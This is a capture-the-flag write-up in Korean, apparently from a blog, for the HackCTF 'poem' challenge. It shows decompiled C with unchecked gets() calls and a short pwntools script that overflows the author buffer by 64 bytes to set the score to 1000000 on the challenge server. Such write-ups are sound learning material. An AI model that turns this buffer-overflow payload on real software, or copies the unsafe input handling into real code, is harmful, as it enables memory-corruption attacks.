__int64 get_poem()
{
__int64 result; // rax
printf("Enter :\n> ");
result = gets(poem);
dword_6024E0 = 0;
return result;
}
__int64 get_author()
{
printf(&byte_400C38);
return gets(&unk_6024A0);
}
int rate_poem()
{
char dest[1032]; // [rsp+0h] [rbp-410h] BYREF
char *s1; // [rsp+408h] [rbp-8h]
strcpy(dest, poem);
for ( s1 = strtok(dest, " \n"); s1; s1 = strtok(0LL, " \n") )
{
if ( !strcmp(s1, "ESPR")
|| !strcmp(s1, "eat")
|| !strcmp(s1, "sleep")
|| !strcmp(s1, "pwn")
|| !strcmp(s1, "repeat")
|| !strcmp(s1, "CTF")
|| !strcmp(s1, "capture")
|| !strcmp(s1, "flag") )
{
dword_6024E0 += 100;
}
}
return printf(asc_400BC0, poem, (unsigned int)dword_6024E0);
}
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
const char *v3; // rdi
setvbuf(_bss_start, 0LL, 2, 0LL);
v3 = s;
puts(s);
while ( 1 )
{
get_poem(v3);
get_author(v3);
rate_poem(v3);
if ( dword_6024E0 == 1000000 )
break;
v3 = asc_400D78;
puts(asc_400D78);
}
reward(v3);
}
코드를 살펴보면 get_poem함수에서 gets로 0x6020a0에 문자열을 입력받고 get_author 함수에서 0x6024a0에 문자열을 입력받는다. 플래그를 획득하려면 0x6024e0에 있는 값이 1000000이 되어야 한다. 0x6024e0은 get_author에서 입력하는 0x6024a0과 64만큼 차이나므로 버퍼오버플로우 공격을 시도한다.
from pwn import *
context.log_level='debug'
r=remote("ctf.j0n9hyun.xyz",3012)
r.recvuntil(b"> ")
r.sendline(b"hello")
r.recvuntil(b"> ")
payload=b"a"*64+p64(1000000)
r.sendline(payload)
r.interactive()
'시스템 해킹 > CTF' 카테고리의 다른 글
[HackCTF] RTL_ World (0) | 2021.09.19 |
---|---|
[HackCTF] Yes or no (0) | 2021.09.14 |
[HackCTF] BOF_PIE (0) | 2021.09.14 |
[HackCTF] Offset (0) | 2021.09.14 |
[HackCTF] Simple_Overflow_ver_2 (0) | 2021.09.13 |
댓글